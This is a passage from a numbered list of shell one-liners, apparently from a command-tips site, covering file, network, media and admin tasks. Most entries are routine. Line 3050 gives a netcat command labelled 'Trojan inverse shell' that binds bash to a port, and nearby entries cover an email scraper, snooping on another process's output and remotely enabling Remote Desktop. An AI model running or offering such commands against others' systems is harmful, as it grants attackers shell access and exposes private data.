  2914. sed '/MARKER/{N;s/THIS/THAT/}'
  2915.  
  2916. # LDAP search to query an ActiveDirectory server
  2917. ldapsearch -LLL -H ldap://activedirectory.example.com:389 -b 'dc=example,dc=com' -D 'DOMAIN\Joe.Bloggs' -w 'p@ssw0rd' '(sAMAccountName=joe.bloggs)'
  2918.  
  2919. # Read a keypress without echoing it
  2920. stty cbreak -echo; KEY=$(dd bs=1 count=1 2>/dev/null); stty -cbreak echo
  2921.  
  2922. # change exif data in all jpeg's
  2923. for f in *.jpg; do exif --ifd=0 --tag=0x0110 --set-value="LOMO LC-A" --output=$f $f; exif --ifd=0 --tag=0x010f --set-value="LOMO" --output=$f $f; done }
  2924.  
  2925.  
  2926.  
  2927. # Setup an ssh tunnel
  2928. ssf -f -N -L 4321:home.network.com:25 user@home.network.com
  2929.  
  2930. # remote diff with side-by-side ordering.
  2931. ssh $HOST -l$USER cat /REMOTE/FILE | sdiff /LOCAL/FILE -
  2932.  
  2933. # Changing tha mac adresse
  2934. sudo ifconfig eth0 hw ether 00:01:02:03:04:05
  2935.  
  2936. # Mac Sleep Timer
  2937. sudo pmset schedule sleep "08/31/2009 00:00:00"
  2938.  
  2939. # List top ten files/directories sorted by size
  2940. du -sb *|sort -nr|head|awk '{print $2}'|xargs du -sh
  2941.  
  2942. # Follow the flow of a log file
  2943. tailf file.log
  2944.  
  2945. # Print IP of any interface. Useful for scripts.
  2946. ip route show dev ppp0 | awk '{ print $7 }'
  2947.  
  2948. # Launch a VirtualBox virtual machine
  2949. VBoxManage startvm "name"
  2950.  
  2951. # burn an ISO image to writable CD
  2952. wodim cdimage.iso
  2953.  
  2954. # Date shows dates at other times/dates
  2955. date -d '2 weeks ago'
  2956.  
  2957. # Twitpic upload and Tweet
  2958. curl --form username=from_twitter --form password=from_twitter --form media=@/path/to/image --form-string "message=tweet" http://twitpic.com/api/uploadAndPost
  2959.  
  2960. # eth-tool summary of eth# devices
  2961. for M in 0 1 2 3 ; do echo eth$M ;/sbin/ethtool eth$M | grep -E "Link|Speed" ; done
  2962.  
  2963. # Record output of any command using 'tee' at backend; mainly can be used to capture the output of ssh from client side while connecting to a server.
  2964. ssh user@server | tee logfilename
  2965.  
  2966. # Get the IP address of a machine. Just the IP, no junk.
  2967. /sbin/ifconfig -a | awk '/(cast)/ { print $2 }' | cut -d':' -f2 | head -1
  2968.  
  2969. # Convert images (jpg, png, ...) into a PDF
  2970. convert images*.* <my_pdf>.pdf
  2971.  
  2972. # backup a directory in a timestamped tar.gz
  2973. tar -czvvf backup$(date "+%Y%m%d_%H%M%S").tar.gz /path/to/dir
  2974.  
  2975. # Execute a command on logout
  2976. trap cmd 0
  2977.  
  2978. # Watch the progress of 'dd'
  2979. dd if=/dev/urandom of=file.img bs=4KB& pid=$!
  2980.  
  2981. # Have subversion ignore a file pattern in a directory
  2982. svn propset svn:ignore "*txt" log/
  2983.  
  2984. # Show a Command's Short Description
  2985. whatis [command-name]
  2986.  
  2987. # Hiding password while reading it from keyboard
  2988. save_state=$(stty -g);echo -n "Password: ";stty -echo;read password;stty "$save_state";echo "";echo "You inserted $password as password"
  2989.  
  2990. # List files above a given threshold
  2991. find . -type f -size +25000k -exec ls -lh {} \; | awk '{ print $8 ": " $5 }'
  2992.  
  2993. # rapidshare download script in 200 characters
  2994. u=`curl -d 'dl.start=Free' $(curl $1|perl -wpi -e 's/^.*"(http:\/\/rs.*)" method.*$/$1/'|egrep '^http'|head -n1)|grep "Level(3) \#2"|perl -wpi -e 's/^.*(http:\/\/rs[^\\\\]*).*$/$1/'`;sleep 60;wget $u
  2995.  
  2996. # Find the 20 biggest directories on the current filesystem
  2997. du -xk | sort -n | tail -20
  2998.  
  2999. # Remote copy directories and files through an SSH tunnel host
  3000. rsync -avz -e 'ssh -A sshproxy ssh' srcdir remhost:dest/path/
  3001.  
  3002.  
  3003.  
  3004. # Find all directories on filesystem containing more than 99MB
  3005. du -hS / | perl -ne '(m/\d{3,}M\s+\S/ || m/G\s+\S/) && print'
  3006.  
  3007. # Pack up some files into a tarball on a remote server without writing to the local filesystem
  3008. tar -czf - * | ssh example.com "cat > files.tar.gz"
  3009.  
  3010. # Kill all processes beloging to a single user.
  3011. kill -9 `ps -u <username> -o "pid="`
  3012.  
  3013. # Add a function you've defined to .bashrc
  3014. addfunction () { declare -f $1 >> ~/.bashrc ; }
  3015.  
  3016. # Enable automatic typo correction for directory names
  3017. shopt -s cdspell
  3018.  
  3019. # Create a backup of file being edited while using vi
  3020. :!cp % %-
  3021.  
  3022. # Display calendar with specific national holidays and week numbers
  3023. gcal -K -q GB_EN 2009 # display holidays in UK/England for 2009 (with week numbers)
  3024.  
  3025. # Simplified video file renaming
  3026. for f in *;do mplayer $f;read $n;mv $f $n;done
  3027.  
  3028. # Add a Clock to Your CLI
  3029. export PS1="${PS1%\\\$*}"' \t \$ '
  3030.  
  3031. # Converts a single FLAC file with associated cue file into multiple FLAC files
  3032. cuebreakpoints "$2" | shnsplit -o flac "$1"
  3033.  
  3034. # Mount a partition from within a complete disk dump
  3035. INFILE=/path/to/your/backup.img; MOUNTPT=/mnt/foo; PARTITION=1; mount "$INFILE" "$MOUNTPT" -o loop,offset=$[ `/sbin/sfdisk -d "$INFILE" | grep "start=" | head -n $PARTITION | tail -n1 | sed 's/.*start=[ ]*//' | sed 's/,.*//'` * 512 ]
  3036.  
  3037. # Installing True-Type fonts
  3038. ttmkfdir mkfontdir fc-cache /usr/share/fonts/miscttf
  3039.  
  3040. # See how many % of your memory firefox is using
  3041. ps -o %mem= -C firefox-bin | sed -s 's/\..*/%/'
  3042.  
  3043. # Replicate a directory structure dropping the files
  3044. for x in `find /path/ -type d | cut -b bytesoffoldername-`; do mkdir -p newpath/$x; done
  3045.  
  3046. # useful tail on /var/log to avoid old logs or/and gzipped files
  3047. tail -f *[!.1][!.gz]
  3048.  
  3049. # Trojan inverse shell
  3050. nc -l -p 2000 -e /bin/bash
  3051.  
  3052. # Check the status of a network interface
  3053. mii-tool [if]
  3054.  
  3055. # New command with the last argument of the previous command.
  3056. command !$
  3057.  
  3058. # Convert a bunch of HTML files from ISO-8859-1 to UTF-8 file encoding in a folder and all sub-folders
  3059. for x in `find . -name '*.html'` ; do iconv -f ISO-8859-1 -t UTF-8 $x > "$x.utf8"; rm $x; mv "$x.utf8" $x; done
  3060.  
  3061. # Find out current working directory of a process
  3062. echo COMMAND | xargs -ixxx ps -C xxx -o pid= | xargs -ixxx ls -l /proc/xxx/cwd
  3063.  
  3064. # Mount and umount iso files
  3065. function miso () { mkdir ~/ISO_CD && sudo mount -o loop "$@" ~/ISO_CD && cd ~/ISO_CD && ls; } function uiso () { cd ~ && sudo umount ~/ISO_CD && rm -r ~/ISO_CD; }
  3066.  
  3067. # find .txt files inside a directory and replace every occurrance of a word inside them via sed
  3068. find . -name '*.txt' -exec sed -ir 's/this/that/g' {} \;
  3069.  
  3070. # for too many arguments by *
  3071. echo *.log | xargs <command>
  3072.  
  3073. # Find files that are older than x days
  3074. find . -type f -mtime +7 -exec ls -l {} \;
  3075.  
  3076. # show lines that appear in both file1 and file2
  3077. comm -1 -2 <(sort file1) <(sort file2)
  3078.  
  3079.  
  3080.  
  3081. # connect to X login screen via vnc
  3082. x11vnc -display :0 -auth $(ps -ef|awk '/xauth/ {print $15}'|head -1) -forever -bg &
  3083.  
  3084. # use vi key bindings at the command line
  3085. set -o vi
  3086.  
  3087. # ionice limits process I/O, to keep it from swamping the system (Linux)
  3088. ionice -c3 find /
  3089.  
  3090. # Repeatedly purge orphaned packages on Debian-like Linuxes
  3091. while [ $(deborphan | wc -l) -gt 0 ]; do dpkg --purge $(deborphan); done
  3092.  
  3093. # Watch the disk fill up
  3094. watch -n 1 df
  3095.  
  3096. # convert filenames in current directory to lowercase
  3097. for i in *; do mv "$i" "$(echo $i|tr A-Z a-z)"; done
  3098.  
  3099. # Remove a file whose name begins with a dash ( - ) character
  3100. rm ./-filename
  3101.  
  3102. # Insert a colon between every two digits
  3103. sed 's/\(..\)/\1:/g;s/:$//' mac_address_list
  3104.  
  3105. # Update program providing a functionality on Debian
  3106. update-alternatives --config java
  3107.  
  3108. # Create MySQL-Dump, copy db to other Server and upload the db.
  3109. mysqldump -uUserName -pPassword tudb | ssh root@rootsvr.com "mysql -uUserName -pPassword -h mysql.rootsvr.com YourDBName"
  3110.  
  3111. # Change the window title of your xterm
  3112. echo "^[]0;My_Title_Goes _Here^G"
  3113.  
  3114. # Watch Data Usage on eth0
  3115. watch ifconfig eth0
  3116.  
  3117. # recursively change file name from uppercase to lowercase (or viceversa)
  3118. find . -type f|while read f; do mv $f `echo $f |tr '[:upper:]' '[ :lower:]'`; done
  3119.  
  3120. # Always tail/edit/grep the latest file in a directory of timestamped files
  3121. tail -f /path/to/timestamped/files/file-*(om[1])
  3122.  
  3123. # gpg decrypt a file
  3124. gpg --output foo.txt --decrypt foo.txt.pgp
  3125.  
  3126. # Show all programs on UDP and TCP ports with timer information
  3127. netstat -putona
  3128.  
  3129. # Get contents from hosts, passwd, groups even if they're in DB/LDAP/other
  3130. getent [group|hosts|networks|passwd|protocols|services] [keyword]
  3131.  
  3132. # Show a passive popup in KDE
  3133. kdialog --passivepopup <text> <timeout>
  3134.  
  3135. # Copy your SSH public key on a remote machine for passwordless login.
  3136. cat ~/.ssh/*.pub | ssh user@remote-system 'umask 077; cat >>.ssh/authorized_keys'
  3137.  
  3138. # Copy something to multiple SSH hosts with a Bash loop
  3139. for h in host1 host2 host3 host4 ; { scp file user@h$:/destination_path/ ; }
  3140.  
  3141. # Unix time to local time
  3142. date -R -d @1234567890
  3143.  
  3144. # Configure second monitor to sit to the right of laptop
  3145. xrandr --output LVDS --auto --output VGA --auto --right-of LVDS
  3146.  
  3147. # Create a mirror of a local folder, on a remote server
  3148. rsync -e "/usr/bin/ssh -p22" -a --progress --stats --delete -l -z -v -r -p /root/files/ user@remote_server:/root/files/
  3149.  
  3150. # Watch for when your web server returns
  3151. watch -n 15 curl -s --connect-timeout 10 http://www.google.com/
  3152.  
  3153. # List only the directories
  3154. ls -l | egrep ^d
  3155.  
  3156.  
  3157.  
  3158. # find the difference between two nodes
  3159. diff <(ssh nx915000 "rpm -qa") <(ssh nx915001 "rpm -qa")
  3160.  
  3161. # rsync with progress bar.
  3162. rsync -av --progress ./file.txt user@host:/path/to/dir
  3163.  
  3164. # Switch to a user with "nologin" shell
  3165. sudo -u username bash
  3166.  
  3167. # a find and replace within text-based files, to locate and rewrite text en mass.
  3168. find . -name "*.txt" | xargs perl -pi -e 's/old/new/g'
  3169.  
  3170. # do a full file listing of every file found with locate
  3171. locate searchstring | xargs ls -l
  3172.  
  3173. # Reset terminal that has been buggered by binary input or similar
  3174. stty sane
  3175.  
  3176. # list processes with established tcp connections (without netstat)
  3177. lsof -i -n | grep ESTABLISHED
  3178.  
  3179. # Remove invalid host keys from ~/.ssh/known_hosts
  3180. ssh-keygen -R \[localhost\]:8022
  3181.  
  3182. # Get the full path to a file
  3183. realpath examplefile.txt
  3184.  
  3185. # Changes standard mysql client output to 'less'.
  3186. echo -e "[mysql]\npager=less -niSFX" >> ~/.my.cnf
  3187.  
  3188. # Watch how fast the files in a drive are being deleted
  3189. watch "df | grep /path/to/drive"
  3190.  
  3191. # processes per user counter
  3192. ps aux |awk '{$1} {++P[$1]} END {for(a in P) if (a !="USER") print a,P[a]}'
  3193.  
  3194. # intercept stdout/stderr of another process
  3195. strace -ff -e write=1,2 -s 1024 -p PID 2>&1 | grep "^ |" | cut -c11-60 | sed -e 's/ //g' | xxd -r -p
  3196.  
  3197. # deaggregate ip ranges
  3198. /bin/grep - ipranges.txt | while read line; do ipcalc $line ; done | grep -v deag
  3199.  
  3200. # See why a program can't seem to access a file
  3201. strace php tias.php -e open,access 2>&1 | grep foo.txt
  3202.  
  3203. # Quickly analyse an Apache error log
  3204. for i in emerg alert crit error warn ; do awk '$6 ~ /^\['$i'/ {print substr($0, index($0,$6)) }' error_log | sort | uniq -c | sort -n | tail -1; done
  3205.  
  3206. # Open files in a split windowed Vim
  3207. vim -o file1 file2...
  3208.  
  3209. # bash pause command
  3210. read -p "Press enter to continue.."
  3211.  
  3212. # Determine whether a CPU has 64 bit capability or not
  3213. if cat /proc/cpuinfo | grep " lm " &> /dev/null; then echo "Got 64bit" ; fi
  3214.  
  3215. # Determine whether a CPU has 64 bit capability or not
  3216. sudo dmidecode --type=processor | grep -i -A 1 charac
  3217.  
  3218. # Ping scanning without nmap
  3219. for i in {1..254}; do ping -c 1 -W 1 10.1.1.$i | grep 'from'; done
  3220.  
  3221. # List shell functions currently loaded in memory (/bin/sh)
  3222. hv() { hash -v | less -p '^function' ;} usage: hv
  3223.  
  3224. # easily find megabyte eating files or directories
  3225. du -cks * | sort -rn | while read size fname; do for unit in k M G T P E Z Y; do if [ $size -lt 1024 ]; then echo -e "${size}${unit}\t${fname}"; break; fi; size=$((size/1024)); done; done
  3226.  
  3227. # Sort the current buffer in vi or vim.
  3228. :%sort
  3229.  
  3230. # Create and replay macros in vim
  3231. <esc> q a ...vim commands... <esc> q (to record macro) @a (plays macro 'a').
  3232.  
  3233.  
  3234.  
  3235. # Perl Simple Webserver
  3236. perl -MIO::All -e 'io(":8080")->fork->accept->(sub { $_[0] < io(-x $1 ? "./$1 |" : $1) if /^GET \/(.*) / })'
  3237.  
  3238. # colorize your svn diff
  3239. svn diff | vim -
  3240.  
  3241. # Change prompt to MS-DOS one (joke)
  3242. export PS1="C:\$( pwd | sed 's:/:\\\\\:g' )> "
  3243.  
  3244. # Watch active calls on an Asterisk PBX
  3245. watch -n 1 "sudo asterisk -vvvvvrx 'core show channels' | grep call"
  3246.  
  3247. # Show top SVN committers for the last month
  3248. svn log -r {`date +"%Y-%m-%d" -d "1 month ago"`}:HEAD|grep '^r[0-9]' |cut -d\| -f2|sort|uniq -c
  3249.  
  3250. # Show simple disk IO table using snmp
  3251. watch -n1 snmptable -v2c -c public localhost diskIOTable
  3252.  
  3253. # dump a single table of a database to file
  3254. mysqldump -u UNAME -p DBNAME TABLENAME> FILENAME
  3255.  
  3256. # Convert files from DOS line endings to UNIX line endings
  3257. perl -pi -e 's/\r\n?/\n/g'
  3258.  
  3259. # Convert files from DOS line endings to UNIX line endings
  3260. fromdos *
  3261.  
  3262. # validate json
  3263. curl -s -X POST http://www.jsonlint.com/ajax/validate -d json="`cat file.js`" -d reformat=no
  3264.  
  3265. # Simple top directory usage with du flips for either Linux or base Solaris
  3266. ( du -xSk || du -kod ) | sort -nr | head
  3267.  
  3268. # Pronounce an English word using Merriam-Webster.com
  3269. pronounce(){ wget -qO- $(wget -qO- "http://www.m-w.com/dictionary/$@" | grep 'return au' | sed -r "s|.*return au\('([^']*)', '([^'])[^']*'\).*|http://cougar.eb.com/soundc11/\2/\1|") | aplay -q; }
  3270.  
  3271. # show git commit history
  3272. git reflog show | grep '}: commit' | nl | sort -nr | nl | sort -nr | cut --fields=1,3 | sed s/commit://g | sed -e 's/HEAD*@{[0-9]*}://g'
  3273.  
  3274. # Detect Language of a string
  3275. detectlanguage(){ curl -s "http://ajax.googleapis.com/ajax/services/language/detect?v=1.0&q=$@" | sed 's/{"responseData": {"language":"\([^"]*\)".*/\1\n/'; }
  3276.  
  3277. # Backup all mysql databases to individual files on a remote server
  3278. for I in $(mysql -e 'show databases' -u root --password=root -s --skip-column-names); do mysqldump -u root --password=root $I | gzip -c | ssh user@server.com "cat > /remote/$I.sql.gz"; done
  3279.  
  3280. # Top ten (or whatever) memory utilizing processes (with children aggregate)
  3281. ps axo rss,comm,pid | awk '{ proc_list[$2]++; proc_list[$2 "," 1] += $1; } END { for (proc in proc_list) { printf("%d\t%s\n", proc_list[proc "," 1],proc); }}' | sort -n | tail -n 10
  3282.  
  3283. # split and combine different pages from different pdf's
  3284. pdftk A=chapters.pdf B=headings.pdf C=covers.pdf cat C1 B1 A1-7 B2 A8-10 C2 output book.pdf
  3285.  
  3286. # Get all mac address
  3287. ip link show
  3288.  
  3289. # Recursively remove .svn directories
  3290. find . -type d -name .svn -delete
  3291.  
  3292. # Upload image to www.imageshack.us
  3293. function upimage { curl -H Expect: -F fileupload="@$1" -F xml=yes -# "http://www.imageshack.us/index.php" | grep image_link | grep -o http[^\<]*; }
  3294.  
  3295. # Print Memory Utilization Percentage For a specific process and it's children
  3296. TOTAL_RAM=`free | head -n 2 | tail -n 1 | awk '{ print $2 }'`; PROC_RSS=`ps axo rss,comm | grep [h]ttpd | awk '{ TOTAL += $1 } END { print TOTAL }'`; PROC_PCT=`echo "scale=4; ( $PROC_RSS/$TOTAL_RAM ) * 100" | bc`; echo "RAM Used by HTTP: $PROC_PCT%"
  3297.  
  3298. # Extract audio from start to end position from a video
  3299. mplayer -vc null -vo null -ao pcm <input video file> -ss <start> -endpos <end>
  3300.  
  3301. # tail: watch a filelog
  3302. tail -n 50 -f /var/log/apache2/access_log /var/log/apache2/error_log
  3303.  
  3304. # Numerically sorted human readable disk usage
  3305. du -x --max-depth=1 | sort -n | awk '{ print $2 }' | xargs du -hx --max-depth=0
  3306.  
  3307. # Type a random string into a X11 window
  3308. sleep 3 && xdotool type --delay 0ms texthere
  3309.  
  3310.  
  3311.  
  3312. # Introduction to user commands
  3313. man intro
  3314.  
  3315. # shows the full path of shell commands
  3316. which command
  3317.  
  3318. # convert a line to a space
  3319. cat file | tr '\n' ''
  3320.  
  3321. # Clean way of re-running bash startup scripts.
  3322. exec bash
  3323.  
  3324. # Pipe text from shell to windows cut and paste buffer using PuTTY and XMing.
  3325. echo "I'm going to paste this into WINDERS XP" | xsel -i
  3326.  
  3327. # Weather on the Command line
  3328. lynx -dump http://api.wunderground.com/weatherstation/WXCurrentObXML.asp?ID=KCALOSAN32 | grep GMT | awk '{print $3}'
  3329.  
  3330. # Facebook Email Scraper
  3331. fbemailscraper YourFBEmail Password
  3332.  
  3333. # Using numsum to sum a column of numbers.
  3334. numsum count.txt
  3335.  
  3336. # Activate Remote Desktop REMOTELY!!!
  3337. wmic /node:"RemoteServer" /user:"domain\AdminUser" /password:"password" RDToggle where servername="RemoteServer" call SetAllowTSConnections 1
  3338.  
  3339. # Query Wikipedia via console over DNS
  3340. mwiki () { blah=`echo $@ | sed -e 's/ /_/g'`; dig +short txt $blah.wp.dg.cx; }
  3341.  
  3342. # Remove everything except that file
  3343. find . ! -name <FILENAME> -delete
  3344.  
  3345. # Remove everything except that file
  3346. ( shopt -s extglob; rm !(<PATTERN>) )
  3347.  
  3348. # Remove today's Debian installed packages
  3349. grep -e `date +%Y-%m-%d` /var/log/dpkg.log | awk '/install / {print $4}' | uniq | xargs apt-get -y remove
  3350.  
  3351. # Lookup your own IPv4 address
  3352. dig +short myip.opendns.com @resolver1.opendns.com
  3353.  
  3354. # List all authors of a particular git project
  3355. git log --format='%aN' | sort -u
  3356.  
  3357. # Chage default shell for all users [FreeBSD]
  3358. cd /usr/home && for i in *;do chsh -s bash $i;done
  3359.  
  3360. # Copy a file over SSH without SCP
  3361. ssh HOST cat < LOCALFILE ">" REMOTEFILE
  3362.  
  3363. # Print trending topics on Twitter
  3364. curl --silent search.twitter.com | sed -n '/div id=\"hot\"/,/div/p' | awk -F\> '{print $2}' | awk -F\< '{print $1}' | sed '/^$/d'
  3365.  
  3366. # Extract tarball from internet without local saving
  3367. curl http://example.com/a.gz | tar xz
  3368.  
  3369. # scan folder to check syntax error in php files
  3370. find . -name "*.php" -exec php -l {} \;
  3371.  
  3372. # count and number lines of output, useful for counting number of matches
  3373. ps aux | grep [a]pache2 | nl
  3374.  
  3375. # Upgrade all perl modules via CPAN
  3376. cpan -r
  3377.  
  3378. # List all TCP opened ports on localhost in LISTEN mode
  3379. netstat -nptl
  3380.  
  3381. # list all opened ports on host
  3382. sudo lsof -P -i -n -sTCP:LISTEN
  3383.  
  3384. # Send a local file via email
  3385. mpack -s "Backup: $file" "$file" email@id.com
  3386.  
  3387.  
  3388.  
  3389. # list all opened ports on host
  3390. nmap -p 1-65535 --open localhost
  3391.  
  3392. # Convert wmv into avi
  3393. mencoder infile.wmv -ofps 23.976 -ovc lavc -oac copy -o outfile.avi
  3394.  
  3395. # Determining the excat memory usages by certain PID
  3396. pmap -d <<pid>>
  3397.  
  3398. # generate random password
  3399. openssl rand -base64 6
  3400.  
  3401. # Convert encoding of given files from one encoding to another
  3402. iconv -f utf8 -t utf16 /path/to/file
  3403.  
  3404. # Start another X session in a window
  3405. startx -- /usr/bin/Xephyr :2
  3406.  
  3407. # Locking and unlocking files and mailboxes
  3408. lockfile
  3409.  
  3410. # Plot frequency distribution of words from files on a terminal.
  3411. cat *.c | { printf "se te du\nplot '-' t '' w dots\n"; tr '[[:upper:]]' '[[:lower:]]' | tr -s [[:punct:][:space:]] '\n' | sort | uniq -c | sort -nr | head -n 100 | awk '{print $1}END{print "e"}'; } | gnuplot
  3412.  
  3413. # Short Information about loaded kernel modules
  3414. awk '{print $1}' "/proc/modules" | xargs modinfo | awk '/^(filename|desc|depends)/'
  3415.  
  3416. # Short Information about loaded kernel modules
  3417. modinfo $(cut -d' ' -f1 /proc/modules) | sed '/^dep/s/$/\n/; /^file\|^desc\|^dep/!d'
  3418.  
  3419. # Shows you how many hours of avi video you have.
  3420. /usr/share/mplayer/midentify.sh `find . -name "*.avi" -print` | grep ID_LENGTH | awk -F "=" '{sum += $2} END {print sum/60/60; print "hours"}'
  3421.  
  3422. # Output Detailed Process Tree for any User
  3423. psu(){ command ps -Hcl -F S f -u ${1:-$USER}; }
  3424.  
  3425. # Create subdirectory and move files into it
  3426. (ls; mkdir subdir; echo subdir) | xargs mv
  3427.  
  3428. # Commit only newly added files to subversion repository
  3429. svn ci `svn stat |awk '/^A/{printf $2" "}'`
  3430.  
  3431. # Use the arguments used in the last command
  3432. mkdir !*
  3433.  
  3434. # Display GCC Predefined Macros
  3435. gcc -dM -E - <<<''
  3436.  
  3437. # Enable cd by variable names
  3438. shopt -s cdable_vars
  3439.  
  3440. # Show current weather for any US city or zipcode
  3441. weather() { lynx -dump "http://mobile.weather.gov/port_zh.php?inputstring=$*" | sed 's/^ *//;/ror has occ/q;2h;/__/!{x;s/\n.*//;x;H;d};x;s/\n/ -- /;q';}
  3442.  
  3443. # tail, with specific pattern colored
  3444. tail -F file | egrep --color 'pattern|$'
  3445.  
  3446. # validate the syntax of a perl-compatible regular expression
  3447. perl -we 'my $regex = eval {qr/.*/}; die "$@" if $@;'
  3448.  
  3449. # Perform sed substitution on all but the last line of input
  3450. sed -e "$ ! s/$/,/"
  3451.  
  3452. # Count the total number of files in each immediate subdirectory
  3453. find . -type f -printf "%h\n" | cut -d/ -f-2 | sort | uniq -c | sort -rn
  3454.  
  3455. # Comment out a line in a file
  3456. sed -i '19375 s/^/#/' file
  3457.  
  3458. # Refresh the cache of font directory
  3459. sudo fc-cache -f -v
  3460.  
  3461. # Insert a comment on command line for reminder
  3462. ls -alh #mycomment
  3463.  
  3464.  
  3465.  
  3466. # A little bash daemon =)
  3467. echo "Starting Daemon"; ( while :; do sleep 15; echo "I am still running =]"; done ) & disown -h -ar $!
  3468.  
  3469. # Create a single-use TCP proxy with debug output to stderr
  3470. socat -v tcp4-l:<port> tcp4:<host>:<port>
  3471.  
  3472. # find . -name
  3473. find . -name "*.txt" -exec sed -i "s/old/new/" {} \;
  3474.  
  3475. # Get the total length of all videos in the current dir in H:m:s
  3476. mplayer -vo dummy -ao dummy -identify * 2>&1 | grep ID_LENGTH | sed 's/.*=\([0-9]*\)/\1/' | xargs echo | sed 's/ /+/g' | bc | awk 'S=$1; {printf "%dh:%dm:%ds\n",S/(60*60),S%(60*60)/60,S%60}'
  3477.  
  3478. # Quick command line math
  3479. expr 512 \* 7
  3480.  
  3481. # Show apps that use internet connection at the moment.
  3482. netstat -lantp | grep -i establ | awk -F/ '{print $2}' | sort | uniq
  3483.  
  3484. # Ping Twitter to check if you can connect
  3485. wget http://twitter.com/help/test.json -q -O -
  3486.  
  3487. # Record audio and video from webcam using mencoder
  3488. mencoder tv:// -tv driver=v4l2:width=800:height=600:device=/dev/video0:fps=30:outfmt=yuy2:forceaudio:alsa:adevice=hw.2,0 -ovc lavc -lavcopts vcodec=mpeg4:vbitrate=1800 -ffourcc xvid -oac mp3lame -lameopts cbr=128 -o output.avi
  3489.  
  3490. # View webcam output using mplayer
  3491. mplayer tv:// -tv driver=v4l2:width=640:height=480:device=/dev/video0:fps=30:outfmt=yuy2
  3492.  
  3493. # Happy Days
  3494. echo {'1,2,3',4}" o'clock" ROCK
  3495.  
  3496. # no more line wrapping in your terminal
  3497. function nowrap { export COLS=`tput cols` ; cut -c-$COLS ; unset COLS ; }
  3498.  
  3499. # Convert multiple files using avidemux
  3500. for i in `ls`;do avidemux --video-codec Xvid4 --load $i --save $i.mp4 --quit; done
  3501.  
  3502. # Edit your command in vim ex mode by &lt;ctrl-f&gt;
  3503. <ctrl-f> in ex mode in vim
  3504.  
  3505. # When was your OS installed?
  3506. ls -lct /etc/ | tail -1 | awk '{print $6, $7, $8}'
  3507.  
  3508. # How to know the total number of packages available
  3509. apt-cache stats
  3510.  
  3511. # Create a large test file (taking no space).
  3512. dd bs=1 seek=2TB if=/dev/null of=ext3.test
  3513.  
  3514. # List of reverse DNS records for a subnet
  3515. nmap -R -sL 209.85.229.99/27 | awk '{if($3=="not")print"("$2") no PTR";else print$3" is "$2}' | grep '('
  3516.  
  3517. # Find files that were modified by a given command
  3518. strace <name of the program>
  3519.  
  3520. # Parallel file downloading with wget
  3521. wget -nv http://en.wikipedia.org/wiki/Linux -O- | egrep -o "http://[^[:space:]]*.jpg" | xargs -P 10 -r -n 1 wget -nv
  3522.  
  3523. # How to run a command on a list of remote servers read from a file
  3524. dsh -M -c -f servers -- "command HERE"
  3525.  
  3526. # Get Dollar-Euro exchage rate
  3527. curl -s wap.kitco.com/exrate.wml | awk ' BEGIN { x=0; FS = "<" } { if ($0~"^<br/>") {x=0} if (x==1) {print $1} if ($0~"EUR/US") {x=1} }'
  3528.  
  3529. # get the latest version
  3530. mirror=ftp://somemirror.com/with/alot/versions/but/no/latest/link; latest=$(curl -l $mirror/ 2>/dev/null | grep util | tail -1); wget $mirror/$latest
  3531.  
  3532. # Remotely sniff traffic and pass to snort
  3533. ssh root@pyramid \ "tcpdump -nn -i eth1 -w -" | snort -c /etc/snort/snort.conf -r -
  3534.  
  3535. # Copy structure
  3536. structcp(){ ( mkdir -pv $2;f="$(realpath "$1")";t="$(realpath "$2")";cd "$f";find * -type d -exec mkdir -pv $t/{} \;);}
  3537.  
  3538. # Print a random 8 digit number
  3539. jot -r -n 8 0 9 | rs -g 0
  3540.  
  3541.  
  3542.  
  3543. # Remove empty directories
  3544. find . -type d -empty -delete
  3545.  
  3546. # Show GCC-generated optimization commands when using the "-march=native" or "-mtune=native" switches for compilation.
  3547. cc -march=native -E -v - </dev/null 2>&1 | grep cc1
  3548.  
  3549. # for all who don't have the watch command
  3550. watch() { while test :; do clear; date=$(date); echo -e "Every "$1"s: $2 \t\t\t\t $date"; $2; sleep $1; done }
  3551.  
  3552. # Terminal redirection
  3553. script -f /dev/pts/3
  3554.  
  3555. # Convert deb to rpm
  3556. alien -r -c file.deb
  3557.  
  3558. # grep certain file types recursively
  3559. find . -name "*.[ch]" | xargs grep "TODO"
  3560.  
  3561. # On Mac OS X, runs System Profiler Report and e-mails it to specified address.
  3562. system_profiler | mail -s "$HOSTNAME System Profiler Report" user@domain.com
  3563.  
  3564. # Get a regular updated list of zombies
  3565. watch "ps auxw | grep 'defunct' | grep -v 'grep' | grep -v 'watch'"
  3566.  
  3567. # Picture Renamer
  3568. jhead -n%Y%m%d-%H%M%S *.jpg
  3569.  
  3570. # Define an alias with a correct completion
  3571. old='apt-get'; new="su-${old}"; command="sudo ${old}"; alias "${new}=${command}"; $( complete | sed -n "s/${old}$/${new}/p" ); alias ${new}; complete -p ${new}
  3572.  
  3573. # Get your external IP address if your machine has a DNS entry
  3574. dig +short $HOSTNAME
  3575.  
  3576. # get time in other timezones
  3577. tzwatch
  3578.  
  3579. # benchmark web server with apache benchmarking tool
  3580. ab -n 9000 -c 900 localhost:8080/index.php
  3581.  
  3582. # Go to parent directory of filename edited in last command
  3583. cd `dirname $_`
  3584.  
  3585. # grep (or anything else) many files with multiprocessor power
  3586. find . -type f -print0 | xargs -0 -P 4 -n 40 grep -i foobar
  3587.  
  3588. # Sort your music
  3589. for file in *.mp3;do mkdir -p "$(mp3info -p "%a/%l" "$file")" && ln -s "$file" "$(mp3info -p "%a/%l/%t.mp3" "$file")";done
  3590.  
  3591. # convert a web page into a pdf
  3592. touch $2;firefox -print $1 -printmode PDF -printfile $2
  3593.  
  3594. # concat multiple videos into one (and add an audio track)
  3595. cat frame/*.mpeg | ffmpeg -i $ID.mp3 -i - -f dvd -y track/$ID.mpg 2>/dev/null
  3596.  
  3597. # convert (almost) any image into a video
  3598. ffmpeg -loop_input -f image2 -r 30000/1001 -t $seconds -i frame/$num.ppm -y frame/%02d.mpeg 2>/dev/null
  3599.  
  3600. # Create AUTH PLAIN string to test SMTP AUTH session
  3601. printf '\!:1\0\!:1\0\!:2' | mmencode | tr -d '\n' | sed 's/^/AUTH PLAIN /'
  3602.  
  3603. # get a desktop notification from the terminal
  3604. alias z='zenity --info --text="You will not believe it, but your command has finished now! :-)" --display :0.0'
  3605.  
  3606. # Who invoked me? / Get parent command
  3607. ps -o comm= -p $(ps -o ppid= -p $$)
  3608.  
  3609. # Cap apt-get download speed
  3610. sudo apt-get -o Acquire::http::Dl-Limit=25 install <package>
  3611.  
  3612. # Sort IPV4 ip addresses
  3613. sort -t. -k1,1n -k2,2n -k3,3n -k4,4n
  3614.  
  3615. # Save man pages to pdf
